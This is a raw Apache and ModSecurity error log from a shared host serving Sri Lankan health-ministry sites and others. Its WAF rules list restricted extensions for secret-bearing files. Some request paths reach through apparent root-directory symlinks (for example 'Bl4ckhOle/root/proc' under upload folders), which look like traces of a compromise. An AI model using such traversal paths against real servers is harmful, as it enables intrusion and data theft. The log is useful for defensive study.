[Fri Jul 17 08:31:02.980015 2026] [security2:error] [pid 1993584:tid 1993584] [client 84.54.92.61:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alma7lxP5-SsqbGuGB2llAAAAAA"]
[Fri Jul 17 08:31:03.724328 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-28-04_10_21.pdf"] [unique_id "alma74ha5y5fYnQ1qRrwCgAAAAE"]
[Fri Jul 17 08:31:03.724742 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-28-04_10_21.pdf"] [unique_id "alma74ha5y5fYnQ1qRrwCgAAAAE"]
[Fri Jul 17 08:31:03.725079 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-28-04_10_21.pdf"] [unique_id "alma74ha5y5fYnQ1qRrwCgAAAAE"]
[Fri Jul 17 08:31:03.935646 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:03.986473 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:06.920203 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:52668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:07.047190 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.153.22.121:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alma8gRRrtuZqNDDSqWtGQAAABo"]
[Fri Jul 17 08:31:07.049520 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.153.22.121:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alma8gRRrtuZqNDDSqWtGQAAABo"]
[Fri Jul 17 08:31:07.736496 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:52704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:07.967201 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:09.819207 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:52830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:10.633100 2026] [security2:error] [pid 1993668:tid 1993668] [client 52.167.144.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_39_no_24_english.pdf"] [unique_id "alma9hAi3pC6yjXGNq19pgAAAAU"]
[Fri Jul 17 08:31:10.633132 2026] [security2:error] [pid 1993668:tid 1993668] [client 52.167.144.228:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/vol_39_no_24_english.pdf"] [unique_id "alma9hAi3pC6yjXGNq19pgAAAAU"]
[Fri Jul 17 08:31:13.127480 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:45106] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:14.766449 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:14.950495 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:17.884828 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:21.257942 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:56014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:22.885941 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/sgpool-8/sanity_checks
[Fri Jul 17 08:31:24.211555 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:56086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:25.917799 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:56146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:25.954337 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:25.984431 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.84:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory131/subsystem/devices/memory73/subsystem/drivers_probe
[Fri Jul 17 08:31:26.088022 2026] [security2:error] [pid 2013809:tid 2013809] [client 180.191.215.141:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/Sabine-Schoenau/web.archive.org/web/images/pdf/Circulars/Corona_virus/discharge_criteria_covid_19_updated.pdf"] [unique_id "almbBkgVnBK6wAv37w6pKgAAABQ"]
[Fri Jul 17 08:31:26.088076 2026] [security2:error] [pid 2013809:tid 2013809] [client 180.191.215.141:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/Sabine-Schoenau/web.archive.org/web/images/pdf/Circulars/Corona_virus/discharge_criteria_covid_19_updated.pdf"] [unique_id "almbBkgVnBK6wAv37w6pKgAAABQ"]
[Fri Jul 17 08:31:26.282791 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:56174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:27.438926 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:56246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:29.799702 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:56336] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:30.041030 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 47.79.51.91:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:05.0/firmware_node/physical_node/driver/bind
[Fri Jul 17 08:31:32.928451 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-30-12_10_21.pdf"] [unique_id "almbDI1dLClkUfK_dfHiCwAAAAI"]
[Fri Jul 17 08:31:32.928818 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-30-12_10_21.pdf"] [unique_id "almbDI1dLClkUfK_dfHiCwAAAAI"]
[Fri Jul 17 08:31:32.929171 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-30-12_10_21.pdf"] [unique_id "almbDI1dLClkUfK_dfHiCwAAAAI"]
[Fri Jul 17 08:31:33.016128 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:33.764941 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:37516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:34.400871 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:34.767722 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:36.172121 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:36.592156 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:37612] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:36.594954 2026] [security2:error] [pid 1993574:tid 1993574] [client 142.147.186.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/Betel_chewing_ban_Circular_E.pdf"] [unique_id "almbEN0t9Kb_MdNxrg6_NQAAAAM"]
[Fri Jul 17 08:31:36.595036 2026] [security2:error] [pid 1993574:tid 1993574] [client 142.147.186.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/Betel_chewing_ban_Circular_E.pdf"] [unique_id "almbEN0t9Kb_MdNxrg6_NQAAAAM"]
[Fri Jul 17 08:31:38.653315 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:39.829910 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:43.101138 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:43.148000 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:43.227265 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:45.901037 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.52.104:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/xmlreader.ini"] [unique_id "almbGQ5GPQ6hs4VrfMo-RwAAAAY"]
[Fri Jul 17 08:31:45.901604 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.52.104:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/xmlreader.ini"] [unique_id "almbGQ5GPQ6hs4VrfMo-RwAAAAY"]
[Fri Jul 17 08:31:45.924478 2026] [security2:error] [pid 1993671:tid 1993671] [client 47.82.52.104:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/xmlreader.ini"] [unique_id "almbGQ5GPQ6hs4VrfMo-RwAAAAY"]
[Fri Jul 17 08:31:46.817986 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.55.61:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/resource4
[Fri Jul 17 08:31:46.912135 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:47.164418 2026] [security2:error] [pid 1993584:tid 1993584] [client 64.62.156.52:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/geoserver/web/"] [unique_id "almbG1xP5-SsqbGuGB2lrAAAAAA"]
[Fri Jul 17 08:31:50.831630 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:31:50.833416 2026] [security2:error] [pid 1993573:tid 1993573] [client 47.79.10.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/tty39/subsystem/tty56/"] [unique_id "almbHnt8zp89pALg8Q5lcAAAAA4"]
[Fri Jul 17 08:31:50.833451 2026] [security2:error] [pid 1993573:tid 1993573] [client 47.79.10.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/tty39/subsystem/tty56/"] [unique_id "almbHnt8zp89pALg8Q5lcAAAAA4"]
[Fri Jul 17 08:31:53.155629 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:50340] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:31:57.089864 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:01.003877 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-14-08_10_21.pdf"] [unique_id "almbKQ7FYe46zHK_jL3MwwAAABk"]
[Fri Jul 17 08:32:01.004302 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-14-08_10_21.pdf"] [unique_id "almbKQ7FYe46zHK_jL3MwwAAABk"]
[Fri Jul 17 08:32:01.004684 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-14-08_10_21.pdf"] [unique_id "almbKQ7FYe46zHK_jL3MwwAAABk"]
[Fri Jul 17 08:32:03.671617 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:06.603810 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:60800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:08.295707 2026] [security2:error] [pid 1993573:tid 1993573] [client 98.83.226.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/Thyroid, Lung, Prostate cancers.pdf"] [unique_id "almbMHt8zp89pALg8Q5ldgAAAA4"]
[Fri Jul 17 08:32:08.295768 2026] [security2:error] [pid 1993573:tid 1993573] [client 98.83.226.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/Thyroid, Lung, Prostate cancers.pdf"] [unique_id "almbMHt8zp89pALg8Q5ldgAAAA4"]
[Fri Jul 17 08:32:08.794585 2026] [mime:warn] [pid 2015187:tid 2015187] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:09.053980 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:60858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:10.187972 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:11.875831 2026] [security2:error] [pid 2014321:tid 2014321] [client 54.166.204.138:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Event_List/mers_cov.jpg"] [unique_id "almbM9bqW6u97-NXXfOsIgAAACE"]
[Fri Jul 17 08:32:11.875879 2026] [security2:error] [pid 2014321:tid 2014321] [client 54.166.204.138:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Event_List/mers_cov.jpg"] [unique_id "almbM9bqW6u97-NXXfOsIgAAACE"]
[Fri Jul 17 08:32:12.969615 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:50194] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:32:13.684860 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:13.684944 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_static/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_static/' is executable
[Fri Jul 17 08:32:13.684980 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/uwsgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/uwsgi_temp/' is executable
[Fri Jul 17 08:32:13.685016 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/client_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/client_temp/' is executable
[Fri Jul 17 08:32:13.685050 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/scgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/scgi_temp/' is executable
[Fri Jul 17 08:32:13.685081 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_dynamic/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_dynamic/' is executable
[Fri Jul 17 08:32:13.685101 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/engintron_temp/' is executable
[Fri Jul 17 08:32:13.685124 2026] [core:crit] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/fastcgi_temp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/cache/nginx/fastcgi_temp/' is executable
[Fri Jul 17 08:32:14.163380 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:18.376445 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:18.570533 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:20.897987 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:20.941727 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:22.306954 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almbPQRRrtuZqNDDSqWtNgAAABo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1270&page_105=1199
[Fri Jul 17 08:32:22.306996 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almbPQRRrtuZqNDDSqWtNgAAABo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1270&page_105=1199
[Fri Jul 17 08:32:22.756501 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:22.766885 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.157.99.244:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almbPVxP5-SsqbGuGB2luQAAAAA"]
[Fri Jul 17 08:32:22.766916 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.157.99.244:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almbPVxP5-SsqbGuGB2luQAAAAA"]
[Fri Jul 17 08:32:23.095826 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:25.291133 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:32:27.386001 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
